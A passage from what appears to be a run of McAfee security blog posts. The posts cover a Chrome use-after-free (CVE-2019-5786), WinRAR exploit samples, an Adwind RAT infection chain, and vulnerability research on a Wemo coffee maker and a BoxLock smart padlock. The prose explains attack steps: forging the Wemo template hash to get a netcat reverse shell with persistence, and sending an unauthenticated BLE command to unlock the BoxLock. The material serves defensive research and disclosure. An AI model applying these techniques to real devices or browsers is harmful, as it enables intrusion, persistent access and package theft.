In our current situation, what is going on here is somewhat confusing [6a] [6b]. The object returned by ArrayBufferBuilder::ToArrayBuffer() is already a scoped_refptr<ArrayBuffer>. I believe the meaning of all this, is that when calling ToArrayBuffer(), the refcount on the ArrayBuffer is increased by one, and the std::move takes ownership of that instance of the refcounted object (as opposed to the one owned by the ArrayBufferBuilder). Calling ToArrayBuffer() 10 times will increase the refcount by 10, but all the return values will be valid (as opposed to the toy example with the strings `a` and `b` mentioned above where operating on `a` would result in unexpected behavior).
This closes an obvious case of use-after-free where the buffer_ object from the ArrayBufferBuilder would get corrupted if we would call ToArrayBuffer() multiple times during the sweet spot described above.

2.2 FileReader API

Another angle of approach for figuring out how to exploit this bug is to look at the API that is available to us from JavaScript and see if we can come up with a way to reach the sweet spot we were looking at.

We can get all the information we want from Mozilla web docs [7]. Our options are fairly terse; we can call readAsXXX functions on either Blob or File, we can abort the read, and finally there are a couple of events to which we can register callbacks (onloadstart, onprogress, onloadend, …).

The onprogress events sounds like the most interesting one, as it is being called while data is loading, but before the loading is finished. If we look at the FileReader.cc source file, we can see that the logic behind the invocation of this event is to fire every 50ms (or so) when data is received. Let us have a look at how this behaves in a real system…

3. Testing in a web-browser

3.1 Getting started

The first thing we want to do is download a vulnerable version of the code. There are some pretty useful resources out there [8] where one can download older builds rather than having to build them yourself.

Something interesting to note is that there is also a separate zip file that has `syms` in its name. You can also download to get debug symbols for the build (in the form of .pdb files). Debuggers and disassemblers can import those symbols which will make your life way easier as every function will be renamed by its actual name in the source code.

3.2 Attaching a debugger

Chromium is a complex software and multiple processes communicate together which makes debugging harder. The most efficient way to debug it is to start Chromium normally and then attach the debugger to the process you want to exploit. The code we are debugging is running in the renderer process, and the functions we were looking at are exposed by chrome_child.dll (those details were found by trial and error, attaching to any Chrome process, and looking for function names of interest).

 

If you want to import symbols in x64dbg, a possible solution is to go in the Symbol pane, right click on the .dll/.exe you want to import the symbols for and select Download symbols. It may fail if the symbol server setting is not configured properly, but it will still create the directory structure in x64dbg’s `symbols` directory, where you can put the .pdb files you’ve previously downloaded.

3.3 Looking for the exploitable code path

Not that we have downloaded an unpatched version of Chromium, and we know how to attach a debugger, let us write some JavaScript to see if we can hit the code path we care about.

 

To sum up what is going on here, we create a Blob that we pass to the FileReader. We register a callback to the progress event and, when the event is invoked, we try to access multiple times the result from the reader. We have seen previously that the data needs to be fully loaded (that is why we check the size of the buffer) and if we get multiple DOMArrayBuffer with the same backing ArrayBuffer, they should appear to be to separate objects to JavaScript (hence the equality test). Finally, to double check we have indeed two different objects backed by the same buffer, we create views to modify the underlying data and we verify that modify one modifies the other as well.

There is an unfortunate issue that we had not foreseen: the progress event is not called frequently, so we have to load a really large array in order to force the process to take some time and trigger the event multiple times. There might be better ways of doing so (maybe the Google bug report will reveal one!) but all the attempts to create a slow loading object were a failure (using a Proxy, extending the Blob class…). The loading is tied to a Mojo Pipe, so exposing MojoJS could be a way of having more control as well but it seems unrealistic in an attacker scenario as this is the entry point of the attack. See [9] for an example for that approach.

3.4 Causing a crash

So, now that we have figured out how to get into the code path that is vulnerable, how do we exploit it? This was definitely the hardest question to answer, and this paragraph is meant to share the process to find an answer to that question.

We have seen that the underlying ArrayBuffer is refcounted, so it is unlikely we’ll be able to magically free it by just getting garbage collected from some of the DOMArrayBuffer we’ve obtained. Overflowing the refcount sounds like a fun idea, but if we try by hand to modify the refcount value to be near its maximum value (via x64dbg) and see what happens… well, the process crashes. Finally, we cannot do much on those ArrayBuffers; we can change their content but not their size, nor can we manually free them…
Not being familiar enough with the codebase, the best approach then is to pour through various bug reports that mention use-after-free, ArrayBuffer, etc., and see what people did or talked about. There must be some assumption somewhere that a DOMArrayBuffer owns its underlying memory, and that is an assumption we know we are breaking.
After some searching, we started to find some interesting comments like this one [10a] and this one [10b]. Those two links talk about various situation where DOMArrayBuffer gets externalized, transferred and neutered. We are not familiar with those terms, but from the context it sounds like when this happens, the ownership of the memory is transferred to somebody else. That sounds pretty perfect for us as we want the underlying buffer to be freed (as we are hunting for a use-after-free).
The use-after-free in WebAudio shows us how to get our ArrayBuffer “transferred” so let’s try that!

 

And as seen in the debugger:

The memory being dereferenced is in ECX (we also have EAX == 0 but that’s because we’re looking at the first item in the view). The address looks valid, but it isn’t. ECX contains the address where the raw data of our buffer was stored (the AAAAA…) but because it got freed, the system unmapped the pages that held it, causing the access violation (we’re trying to access an unmapped memory address). We reached the use-after-free we were looking for!

4. Exploit considerations and next steps

4.1 Exploit

It is not the point of this document to illustrate how to push beyond the use-after-free to get full code execution (in fact Exodus have released a blog and a working exploit roughly coinciding with the timing of this publication). However, there are some interesting comments to be made.
Due to the way we are triggering the use-after-free, we are ending up with a very large buffer unallocated. The usual way to exploit a use-after-free is to get a new object allocated on top of the freed region to create some sort of confusion. Here, we are freeing the raw memory that is used to back the data of our ArrayBuffer. That is great because we can read/write over a large region. Yet, a problem in this approach is that because the memory region is really large, there is no one object that would just fit in. If we had a small buffer, we could create lots of objects that have that specific size and hope one would be allocated there. Here it is harder because we need to wait that until that memory is reclaimed by the heap for unrelated objects. On Windows 10 64-bit, it is hard because of how random allocations are, and the entropy available for random addresses. On Windows 7 32-bit, it is much easier as the address space is much smaller, and the heap allocation is more deterministic. Allocating a 10k object might be enough to have some metadata land within the address space we can control.
The second interesting aspect is that because we are going to dereference a region that has been unmapped, if the 10k allocation mentioned above fails to allocate at least one object in that area we control, then we are out of luck; we will get an access violation and the process will die. There are ways to make this step more reliable, such as the iframe method described here [11]
An example on how to move on if one can corrupt the metadata of a JavaScript object can be found here [12].

4.2 Next step

Once an attacker has gained code execution inside the renderer process they are still limited by the sandbox. In the exploit found in the wild, the attacker used a second 0-day that targeted the Windows Kernel to escape the sandbox. A write up describing that exploit was recently released by the 360CoreSec here [13].

5. Conclusion

By looking at the commit that fixed the bug and hunting down hints and similar fixes we were able to recover the likely path towards exploitation. Once again, we can see that modern mitigations introduced in the later version of Windows makes life way harder on attackers and we should celebrate those wins from the defensive side. Also, Google is extremely efficient and aggressive in its patching strategy, and most of its user base will have already seamlessly updated to the latest version of Chrome.

 

Links

[1] https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop.html
[2] https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html
[2b] https://bugs.chromium.org/p/chromium/issues/detail?id=936448
[3] https://chromium.googlesource.com/chromium/src/+log/72.0.3626.119..72.0.3626.121?pretty=fuller
[3b] https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449
[4a] https://github.com/chromium/chromium/blob/17cc212565230c962c1f5d036bab27fe800909f9/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
[4b] https://github.com/chromium/chromium/blob/75ab588a6055a19d23564ef27532349797ad454d/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
[5] https://www.chromium.org/developers/smart-pointer-guidelines
[6a] https://chromium.googlesource.com/chromium/src/+/lkgr/styleguide/c++/c++.md#object-ownership-and-calling-conventions
[6b] https://www.chromium.org/rvalue-references
[7] https://developer.mozilla.org/en-US/docs/Web/API/FileReader
[8] https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/612439/
[9] https://www.exploit-db.com/exploits/46475
[10a] https://bugs.chromium.org/p/v8/issues/detail?id=2802
[10b] https://bugs.chromium.org/p/chromium/issues/detail?id=761801
[11] https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
[12] https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/
[13] http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html

The post Analysis of a Chrome Zero Day: CVE-2019-5786 appeared first on McAfee Blogs.

Attackers Exploiting WinRAR UNACEV2.DLL Vulnerability (CVE-2018-20250)

Earlier this month Check Point Research reported discovery of a 19 year old code execution vulnerability in the wildly popular WinRAR compression tool. Rarlab reports that that are over 500 million users of this program. While a patched version, 5.70, was released on February 26, attackers are releasing exploits in an effort to reach vulnerable systems before they can be patched.

One recent example piggybacks on a bootlegged copy of Ariana Grande’s hit album “Thank U, Next” with a file name of “Ariana_Grande-thank_u,_next(2019)_[320].rar”

When a vulnerable version of WinRAR is used to extract the contents of this archive, a malicious payload is created in the Startup folder behind the scenes. User Account Control (UAC) does not apply, so no alert is displayed to the user. The next time the system restarts, the malware is run.

Figure 1 – Malformed Archive detected by McAfee as CVE2018-20250!4A63011F5B88
SHA256: e6e5530ed748283d4f6ef3485bfbf84ae573289ad28db0815f711dc45f448bec

Figure 2 – Extracted non-malicious MP3 files

Figure 3 – Extracted Malware payload detected by McAfee as Generic Trojan.i
SHA256: A1C06018B4E331F95A0E33B47F0FAA5CB6A084D15FEC30772923269669F4BC91

In the first week since the vulnerability was disclosed, McAfee has identified over 100 unique exploits and counting, with most of the initial targets residing in the United States at the time of writing.

 

McAfee advises users to keep their anti-malware signatures up to date at all times. McAfee products detect known and unknown malformed ACE files exploiting the vulnerability as CVE2018-20250![Partial hash] starting with the following content

  • V2 DATs version 9183 released March 2, 2019
  • V3 DATs version 3634 released March 2, 2019

Additional GTI coverage exists for email-based attacks, in tandem with the Suspicious Attachment feature. When this feature is enabled, Artemis![Partial hash] detections will occur on known exploits.

Update: An earlier version of this article used the phrase User Access Control (UAC) which has now been changed to User Account Control (UAC) and the term “bypass” which has now been changed to “does not apply.”

The post Attackers Exploiting WinRAR UNACEV2.DLL Vulnerability (CVE-2018-20250) appeared first on McAfee Blogs.

McAfee Protects Against Suspicious Email Attachments

Email remains a top vector for attackers.  Over the years, defenses have evolved, and policy-based protections have become standard for email clients such as Microsoft Outlook and Microsoft Mail.  Such policies are highly effective, but only if they are maintained as attacker’s keep changing their tactics to evade defenses.  For this reason, McAfee endpoint products use a combination of product features and content for increased agility.  In McAfee Endpoint Security (ENS) 10.5+, such protection is enabled via the ‘Detect suspicious email attachments’ option and maintained through DAT content.  This capability goes beyond the level of protection offered by email clients by not only blocking applications and scripts, but also a variety of threat types in their native form, as well as those compressed and contained within archives and other formats.

Figure 1 – ENS 10.6.1 Configuration Screen

An example of this capability in action can be seen against a recent spam run.

In this campaign, a malicious email message contained the attachment BANK DETAILS.ZIP.  Inside this archive was the file BANK DETAILS.ISO.  Malicious ISO spam has been increasing over the past six months, and while it is common for ISO files to be blocked by email clients, this is not the case where the ISO is inside of a ZIP.  Inside the BANK DETAILS.ISO file resides BANK DETAILS.EXE.  Email clients will typically block executable files attached to messages, but not if they are inside a container.

When the email client attempts to write the attachment to disk, ENS scans inside the ZIP and subsequently the contained ISO and EXE files (ZIP -> ISO -> EXE).

Figure 2 – ENS Toaster Popup

In this case, 2-year-old DAT content proactively stopped the threat.

If the system had not been protected, an unsuspecting user might open the ZIP to reveal the ISO.

Figure 3 – Inside ZIP file showing ISO file

The ISO can then be accessed via Windows Explorer, which appears as a DVD Drive containing the executable, password-stealing, payload.

Figure 4 – EXE file inside Bank Details.ISO

Since the advent of policy-based email attachment blocking, attackers have continued to seek ways to evade that protection. ISO abuse may be the latest chapter in the story, but others are sure to follow.

Tens of thousands of new and unique malicious attachments are blocked each month via the ‘Suspicious Attachment’ detection feature.

The post McAfee Protects Against Suspicious Email Attachments appeared first on McAfee Blogs.

JAVA-VBS Joint Exercise Delivers RAT

The Adwind remote administration tool (RAT) is a Java-based backdoor Trojan that targets various platforms supporting Java files. For an infection to occur, the user must typically execute the malware by double-clicking on the .jar file that usually arrives as an email attachment. Generally, infection begins if the user has the Java Runtime Environment installed. Once the malicious .jar file runs successfully on the target system, the malware silently installs itself and connects to a remote server through a preconfigured port. This allows it to receive commands from the remote attacker and perform further malicious activities. Recently, McAfee labs has seen a surge in a variant which comes as a JAR attachment via a spam email and uses the famous Houdini VBS worm to infect user.

Infection chain:

The malware’s spreading mechanism is the same as in previous versions. It arrives in a spam email with a .jar attachment. The contents of the email are carefully crafted to lure victims using social engineering techniques. We can summarise the whole infection chain as shown in the below snippet:

 

The spam email may look like this:

The parent JAR file:

To keep things simple, we just called the attached .jar file as a parent jar file and named it Sample.jar. Generally, Adwind comes in an obfuscated form to hide its malicious intent. Its payload and configuration file (which serves as an installation file) are encrypted with the DES, RC4, or RC6 cipher, depending on the variant. The Adwind backdoor will decrypt itself on the fly during execution. In this variant we can see the contents of Manifest.MF. It has main class bogjbycqdq.Mawbkhvaype.

Mawbkhvaype.class

The main task of this class is to check for a resource file available in the Jar bundle. Here, resource mzesvhbami is a vbs file. Mawbkhvaye.class will check for mzesvhbami in the resource section and later drop bymqzbfsrg.vbs in the user’s Home directory before executing it with the help of wscript.

Bymqzbfsrg.vbs

It has a huge chunk of obfuscated base64 encoded data present. The below snippet shows the partial part of Bymqzbfsrg.vbs script.

Once deobfuscated and decoded, the base64 encoded data converts to ntfsmgr.jar and is dropped in %appdata%/Roaming. The below snippet shows the conversion of base64 encoded data into Jar file:

Decoded to JAR file (ntfsmgr.jar)

Ntfsmgr.jar

Here, important files present in ntfsmgr.jar are drop.box, mega.download and sky.drive which will be used later for creating the configuration file for the malware.

Final Payload:

Ntfsmgr.jar has operational.Jrat as the main class. The purpose of operational.Jrat is to drop another .jar file into the %TEMP% folder with random file name [underscore] [dot] [random numbers] [dot] class, e.g. _0.1234567897654265678.class, which will be the actual payload and later will perform malicious activities on the user’s system. The below snippet shows the routine present in operational.Jrat for creation of the final payload in %TEMP% location.

The contents of Manifest.MF looks somewhat similar to ntfsmgr.jar. All the other files in the final Java archive will be decrypted on the fly and will infect the system. After Adwind successfully infects a system, we have seen it log keystrokes, modify and delete files, download and execute further malware, take screenshots, access the system’s camera, take control of the mouse and keyboard, update itself, and more. We are not going to dig into this threat in this direction now but you can read more about Adwind here and here. In this blog we will now discuss another part of the story, Bymqzbfsrg.vbs

Working of Bymqzbfsrg.vbs

After successful execution, Bymqzbfsrg.vbs drops ntfsmgr.jar and sKXoevtgAv.vbs in %appdata%/Roaming.

Bymqzbfsrg.vbs dynamically executes a method naira inside the script by using ExecuteGlobal, as seen in the below snippet.:

Dynamic execution of the script looks like this:

The below snippet shows the script for dropping sKXoevtgAv.vbs in %appdata%Roaming.

Here we see the script for dropping ntfsmgr in %appdata%Roaming.

At the time of execution, sKXoevtgAv.vbs decodes itself to Houdini vbs worm which is the final payload. The first few lines of the script are as follows:

The attacker may perform many malicious activities on the victim’s machine, including::

  • Downloading and executing files on the victim’s machine
  • Running command instructions
  • Updating or uninstalling a copy of itself
  • Downloading and uploading files
  • Deleting a file or folder
  • Terminating certain process

Enumerating files and folders on the victim’s machine

Additional Points:

  1. For persistence it creates a run entry.

When the ntfsmgtr.jar runs, it adds itself into the start-up so that it will be run whenever the system starts.

  1. It checks for installed anti-malware products on the system.

  1. If available, it copies the installed Java Runtime files to a temporary directory within the victim’s home directory, otherwise it downloads from the web and copies in the same directory.

Conclusion:

In past, we have seen threat actors using two similar functioning malware families in a single infection. Usually, threat actors chose this path for higher probability of successful infection.

The hashes used in the analysis:

Sample.jar: 07cb6297b47c007aab43311fcfa9976158b4149961911f42d96783afc517226a

Ntfsmgr.jar: ee868807a4261a418e02b0fb1de7ee7a8900acfb66855ce46628eb5ab9b1d029

McAfee advises users to keep their antimalware signatures up to date at all times. McAfee products detect the malicious jar files as Adwind-FDVH.jar! [Partial hash] and Adwind-FDVJ.jar! [Partial Hash], with DAT Versions 9137 and later.

The post JAVA-VBS Joint Exercise Delivers RAT appeared first on McAfee Blogs.

Your Smart Coffee Maker is Brewing Up Trouble

IOT devices are notoriously insecure and this claim can be backed up with a laundry list of examples. With more devices “needing” to connect to the internet, the possibility of your WiFi enabled toaster getting hacked and tweeting out your credit card number is, amazingly, no longer a joke.

With that in mind, I began to investigate the Mr. Coffee Coffee Maker with Wemo (WeMo_WW_2.00.11058.PVT-OWRT-Smart) since we had previously bought one for our research lab (and we don’t have many coffee drinkers, so I didn’t feel bad about demolishing it!). My hope was to build on previous work done by my colleague Douglas McKee (@fulmetalpackets) and his Wemo Insight smart plug exploit. Finding a similar attack vector absent in this product, I explored a unique avenue and was able to find another vulnerability.  In this post I will explore my methodology and processes in detail.

All Wemo devices have two ways of communicating with the Wemo App, remotely via the internet or locally directly to the Wemo App. Remote connectivity is only present when the remote access setting is enabled, which it is by default. To allow the Wemo device to be controlled remotely, the Wemo checks Belkin’s servers periodically for updates. This way the Wemo doesn’t need to open any ports on your network. However, if you are trying to control your Wemo devices locally, or the remote access setting is disabled, the Wemo app connects directly to the Wemo. All my research is based on local device communication with the remote access setting turned off.

To gain insight on how the coffee maker communicates with its mobile application, I first set up a local network capture on my cellphone using an application called “SSL Capture.” SSL Capture allows the user to capture traffic from mobile applications. In this case, I selected the Wemo application. With the capture running, I went through the Wemo app and initiated several standard commands to generate network traffic. By doing this, I was able to view the communication between the coffee maker and the Wemo application. One of the unique characteristics about the app is that the user is able schedule the coffee maker to brew at a specified time. I made a few schedules and saved them.

I began analyzing the network traffic between the phone application and the Mr. Coffee machine. All transmissions between the two devices were issued in plaintext, meaning no encryption was used. I also noticed that the coffee maker and the mobile app were communicating over a protocol called UPNP (Universal Plug and Play), which has preset actions called “SOAP ACTIONS.” Digging deeper into the network capture from the device, I saw the SOAP action “SetRules.” This included XML content that pertained to the “brew schedule” I had set from the mobile application.

A Mr. Coffee “brew” being scheduled.

At this point I was able to see how the Wemo mobile application handled brewing schedules. Next, I wanted to see if the coffee maker performed any sort of validation of these schedules so I went back into the mobile application and disabled them all. I then copied the data and headers from the network capture and used the Linux Curl command to send the packet back to the coffee maker. I got the return header status of “200” which means “OK” in HTTP. This indicated there was no validation of the source of brewing schedules; I further verified with the mobile application and the newly scheduled brew appeared.

Curl command to send a “Brew” schedule to the Wemo Coffee maker.

Screenshot of the Curl command populating the Wemo app with a brew schedule

At this point I could change the coffee maker’s brew schedule without ever using the Wemo mobile application. To understand how the schedules were stored on the Wemo coffee maker, I decided to physically disassemble it and look at the electronics inside. Once disassembled, I saw there was a Wemo module connected to a larger PCB responsible for controlling the functions of the coffee maker. I then extracted the Wemo module from the coffee maker. This looked almost Identical to the Wemo module that was in the Wemo Insight device. I leveraged Doug’s blog on exploitation of the Wemo Insight to replicate the serial identification, firmware extraction, and root password change. After I obtained root access via the serial port on the Wemo device, I began to investigate the way in which the Wemo application is initiated from the underlying Linux Operating System. While looking through some of the most common Linux files and directories, I noticed something odd in the “crontab” file (used in Linux to execute and schedule commands).

It appeared the developers decided to take the easy route and used the Linux crontab file to schedule tasks instead of writing their own brew scheduling function. The crontab entry was the same as the scheduled brew I sent via the Wemo application (coffee-3) and executed as root. This was especially interesting; if I could add some sort of command to execute from the replayed UPNP packet, I could potentially execute my command as root over the network.

With the firmware dumped, I decided to look at the “rtng_run_rule” executable that was called in the crontab. The rtng_run_rule is a Lua script. As Lua is a scripting language, it was written in plaintext and not compiled like all the other Wemo executables. I followed the flow of execution until I noticed the rule passing parameters to a template for execution. At this point, I knew it would be useless trying to inject commands directly into the rule and instead looked at modifying the template performing the execution.

I went back to the Wemo mobile application network captures and started to dig around again. I found the application also sends the templates to the Wemo coffee maker. If I could figure out how to modify the template and still have the Wemo think it is valid, I could get arbitrary code execution.

Template with the correct syntax to pass Wemo’s verification

There were 3 templates sent over, “do,” “do_if,” and “do_unless.” Each of the templates were Lua scripts and encoded with base64. Based on this, I knew it would be trivial to insert my own code; the only remaining challenge would be the MD5 hash included at the top of the template. As it turned out, that was hardly an obstacle.

I created an MD5 hash of the base-64 decoded Lua script and the base64 encoded script separately, simply to see if one or the other matched the hash that was being sent; however, neither matched the MD5 being sent in the template. I began to think the developers used some sort of HMAC or clever way to hash the template, which would have made it much harder to upload a malicious template. Instead, I was astounded to find out that it was simply the base64 code prepended by the string “begin-base64 644 <template name>” and appended with the string “====.”

At last I had the ability to upload any template of my choice and have it pass all the Wemo’s verification steps necessary to be used by a scheduled rule.

I appended a new template called “hack” and added a block of code within the template to download and execute a shell script.

Within that shell command, I instructed the Mr. Coffee Coffee Maker with Wemo to download a cross-complied version of Netcat so I can get a reverse shell, and also added an entry to “rc.local.” This was done so that if the coffee maker was power cycled, I would have persistent access to the device after reboot, via the Netcat reverse shell.

The final aspect of this exploit was to use what I learned earlier to schedule a brew with my new “hack” template executing my shell script. I took the schedule I was able to replay earlier and modified it to have the “hack” template execute 5 minutes from the time of sending. I did have to convert the time value required into the epoch time format.

Converting time to Epoch time.

Now, I sat back and waited as the coffee maker (at my specified time delay) connected to my computer, downloaded my shell script, and ran it. I verified that I had a reverse shell and that it ran as intended, perfectly.

This vulnerability does require network access to the same network the coffee maker is on. Depending on the complexity of the user’s password, WiFi cracking can be a relatively simple task to accomplish with today’s computing power. For example, we demonstrate a quick and easy brute force dictionary attack to crack a semi-complex WPA2 password (10 characters alpha-numeric) in the demo for the Wemo Insight smart plug.  However, even a slightly more complex password, employing special characters, would exponentially increase the difficulty of a brute force attack. We contacted Belkin (who owns Wemo) on November 16th, 2018 and disclosed this issue to them. While the vendor did not respond to this report, we were pleasantly surprised to see that the latest firmware update has patched the issue. Despite a general lack of communication, we’re delighted to see the results of our research further securing home automation devices.

This vulnerability shows that not all exploits are overly complicated or require an exceptional amount of effort to pull off, if you know what to look for. This vulnerability exists solely because a few poor coding decisions were made in conjunction with a lack of input sanitation and validation. Even though this target does not contain sensitive data and is limited to your local network, it doesn’t mean malicious hackers are not targeting IOT devices like this. These devices may serve as a sought-after target as they are often overlooked from a security standpoint and can provide a simple and unmonitored foothold into your home or business network. It is very important for any consumer, when purchasing new IOT gadgets, to ask themself: “Does this really need to be connected to the internet?” In the case of a coffee maker, I’ll let you be the judge.

The post Your Smart Coffee Maker is Brewing Up Trouble appeared first on McAfee Blogs.

What’s in the Box?

2018 was another record-setting year in the continuing trend for consumer online shopping.  With an increase in technology and efficiency, and a decrease in cost and shipping time, consumers have clearly made a statement that shopping online is their preferred method.

Chart depicting growth of online, web-influenced and offline sales by year.1

In direct correlation to the growth of online shopping preferences is the increase in home delivery, and correspondingly, package theft. Though my initial instinct was to attempt to recreate YouTuber Mark Rober’s glitter bomb, I practiced restraint and instead settled on investigating an innovative product called the BoxLock (BoxLock Firmware: 94.50 or below). The BoxLock is a smart padlock that you can setup outside of your house to secure a package delivery container. It can be opened either via the mobile application (Android or iPhone) or by using the built-in barcode scanner to scan a package that is out for delivery. The intent is that delivery drivers will use the BoxLock to unlock a secure drop box and place your package safely out of reach of package thieves. The homeowner can then unlock the lock from their phone using the app to retrieve their valuable deliveries.

Since I am more of a hardware researcher, the first step I did when I got the BoxLock was to take it apart to view the internals.

With the device disassembled and the main PCB extracted, I began to look for interesting pins, mainly UART and JTAG connections. I found 5 pins below the WiFi module that I thought could be UART, but after running it through a logic analyzer I didn’t see anything that looked like communication.

The BoxLock uses a SOC (System-on-a-Chip) which contains the CPU, RAM, ROM, and flash memory all in one. However, there was still an additional flash chip which I thought was odd. I used my Exodus Intelligence hardware interface board to connect to the SPI flash chip and dump the contents.

Exodus Intelligence XI Hardware Interface Board

The flash chip was completely empty. My working theory is that this flash chip is used to store the barcodes of packages out for delivery. There could also have been in issue with my version of Flashrom, which is the software I used to dump flash. The only reason I question my version of Flashrom is because I had to compile it myself with support for the exact flash chip (FT25H04S), since it is not supported by default.

The Main SOC (ATSAMD21J18)

Even though I couldn’t get anything from that flash chip, my main target here was the SOC. On the underside of the Process Control Board (PCB), I identified two tag-connect connection ports. I identified the SWD (Serial Wire Debug) pins located on the SOC (Pin 57 and 58 on the image above) and very slowly and carefully visually traced the paths to the smaller Tag-Connect connection.

 

Adafruit Feather M0 Development board

Since I have not done much JTAG analysis before, I grabbed an Adafruit Feather M0 that we had in our lab for testing, since the Feather uses the exact same SOC and WiFi chip as the BoxLock. The Adafruit Feather has excellent documentation on how to connect to the SOC via SWD pins I traced. I used Atmel Studio to read the info off the ATSAMD21 SOC; this showed me how to read the fuses as well as dump the entire flash off the Adafruit Feather.

SWD information of the Adafruit Feather M0

Atmel Studio also will let you know if the device has the “Security Bit” enabled. When set, the security bit is used to disable all external programming and debugging interfaces, making memory extraction and analysis extremely difficult. Once the security bit is set, the only way to bypass or clear the bit is to completely erase the chip.

Showing how to set the security bit on the Adafruit Feather M0

After I felt comfortable with the Adafruit feather I connected the BoxLock to a Segger JLink and loaded up Atmel Studio. The Segger JLink is a debugging device that can be used for JTAG and SWD. I was surprised that the developers set the security bit; this is a feature often overlooked in IOT devices. However, with the goal of finding vulnerabilities, this was a roadblock. I started to look elsewhere.

Segger JLink used for SWD communication

After spending some time under the microscope, I was able to trace back the larger Tag-Connect port to the BLE (Bluetooth Low Energy) module. The BLE module also has a full SOC which could be interesting to look at, but before I began investigating the BLE chip I still had two vectors to look at first: BLE and WiFi network traffic.

BLE is different to Bluetooth. The communication between BLE devices is secured by the use of encryption, whose robustness depends on the pairing mode used and BLE allows a few different pairing modes; the least secure “Just Works ” pairing mode is what the BoxLock is using. This mode allows any device to connect to it without the pin pairing that normal Bluetooth connections are known for. This means BLE devices can be passively intercepted and are susceptible to MITM (Man in The Middle) attacks.

BLE roles are defined at the connection layer. GAP (Generic Access Profile) describes how devices identify and connect to each other. The two most important roles are the Central and Peripheral roles. Low power devices like the BoxLock follow the Peripheral role and will broadcast their presence (Advertisement). More powerful devices, such as your phone, will scan for advertising devices and connect to them (this is the Central role). The communication between the two roles is done via special commands usually targeted at a GATT (Generic Attributes) services. GATT services can be standard and generic, such as the command value 0x180F, which is the Battery Service. Standardized GATT services help devices communicate with one another without the need for custom protocols. The GATT services present on the BoxLock were all custom, which means they will be displayed as “Unknown Service” when enumerated in a Bluetooth/BLE app.  I chose Nordic’s NRF Connect, available in both the Apple and Android app stores or as a desktop application.

NRF Connect application connected to the BoxLock via BLE

Since the BoxLock was using custom GATT commands I decided to disassemble the Android APK to see if I could find any more information on the “Unknown” UUIDs. I used a tool called “dex2jar” to disassemble the Android APK and then ran the JavaScript code through JSBeautify to clean up the code.

Next, I began searching for UUIDs and the keyword “GATT”. I was able to find the entire list of GATT services and what they pertain to.

GATT services UUID descriptions

The one I was most interested in was labeled as “Command Service”, where the unlock GATT command is sent to. To try it out, I used the NRF Connect application to send a GATT “sendOpenSignal” command with an attribute value of “2”.

How the Android application sends the unlock command

It was just that simple; lo and behold, the BoxLock unlocked!

I was amazed; the phone that I used to send the GATT command over had never connected to the BoxLock before and did not have the BoxLock application installed, yet it was able to unlock the BoxLock. (The vulnerable application version is v1.25 and below).

Continuing to explore the other GATT UUIDs, I was able to read the WiFi SSID, access token, user’s email, and client ID directly off the device. I was also able to write any of these same values arbitrarily.

Information that you can see about the BoxLock via the NRF Connect application

The mandatory identifiers required for the BoxLock to unlock are the access token, user email, and client ID. If those values are not present the device will not authenticate via the cloud API and will not unlock.

The most glaring issue with having all these fields readable and writeable is that I was able to successfully replay them on the device, ultimately bypassing any authentication which led to the BoxLock unlocking.

From my testing, these values never expired and the only way I found that the device cleared the credentials necessary to authenticate was when I removed the battery from the BoxLock. The BoxLock battery is “technically” never supposed to be removed, but since I physically disassembled the lock, (which took a decent amount of effort), I was able to test this.

Even though I was able to unlock the BoxLock, I still wanted to explore one other common attack vector.  I analyzed the network traffic between the device and the internet. I quickly noticed that, apart from firmware updates, device-to-cloud traffic was properly secured with HTTPS and I could not easily get useful information from this vector.

I do not currently have an estimate of the extent of this product’s deployment, so I cannot comment on how wide the potential impact could have been if this issue had been found by a malicious party. One constraint to the attack vector is that it requires BLE, which communicates from a distance of approximately 30 or 40 feet. However, for someone looking to steal packages this would not be a challenge difficult to overcome, as the unlocking attack could be completed very quickly and easily, making the bar for exploitation simply a smart phone with Bluetooth capability. The ease and speed of the exploit could have made for an enticing target for criminals.

I want to take a moment to give some very positive feedback on this vendor. Vulnerability disclosure can be a challenging issue for any company to deal with, but BoxLock was incredibly responsive, easy to work with and immediately recognized the value that McAfee ATR had provided. Our goal is to eliminate vulnerabilities before malicious actors find them, as well as illuminate security issues to the industry so we can raise the overall standard for security. BoxLock was an excellent example of this process at work; the day after disclosing the vulnerability, they set up a meeting with us to discuss our findings, where we proposed a mitigation plan. The BoxLock team set a plan in place to patch not only the BoxLock firmware but the mobile applications as well. Within a week, the vendor created a patch for the vulnerability and updated the mobile apps to force mandatory update to the patched firmware version. We tested the firmware and app update and verified that the application properly clears credentials after use on the vulnerable firmware. We also tested the new firmware which clears the credentials even without the mobile app’s interaction.

IoT security has increasingly become a deciding factor for consumers. The process of vulnerability disclosure is an effective method to increase collaboration between vendors, manufacturers, the security community and the consumer. It is our hope that vendors move towards prioritizing security early in the product development lifecycle. We’d like to thank BoxLock for an effective end-to-end communication process, and we’re pleased to report that this significant flaw has been quickly eradicated. We welcome any questions or comments on this blog!

The post What’s in the Box? appeared first on McAfee Blogs.

Ryuk, Exploring the Human Connection

In collaboration with Bill Siegel and Alex Holdtman from Coveware.

 

At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point. Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings, the overlap between Ryuk and Hermes2.1, and a detailed description of how the ransomware is piggybacking the infamous and ever evolving Trickbot as a primary attack vector. In this blog post we have teamed up with Coveware to take a closer look at the adversary and victim dynamics of Ryuk Ransomware. We structured our research using the Diamond threat model and challenged our existing hypotheses with fresh insights.

Introduction to The Diamond Model

Within Cyber Threat intelligence research, a popular approach is to model the characteristics of an attack using The Diamond Model of Intrusion Analysis. This model relates four basic elements of an intrusion: adversary, capabilities, infrastructure and victim.

For the Ryuk case described above the model can be applied as follows: “An Adversary, cyber-criminal(s), have a capability (Ryuk Ransomware) that is being spread via a TrickBot infection Infrastructure targeting specific victims.

Diamond model of Intrusion Analysis

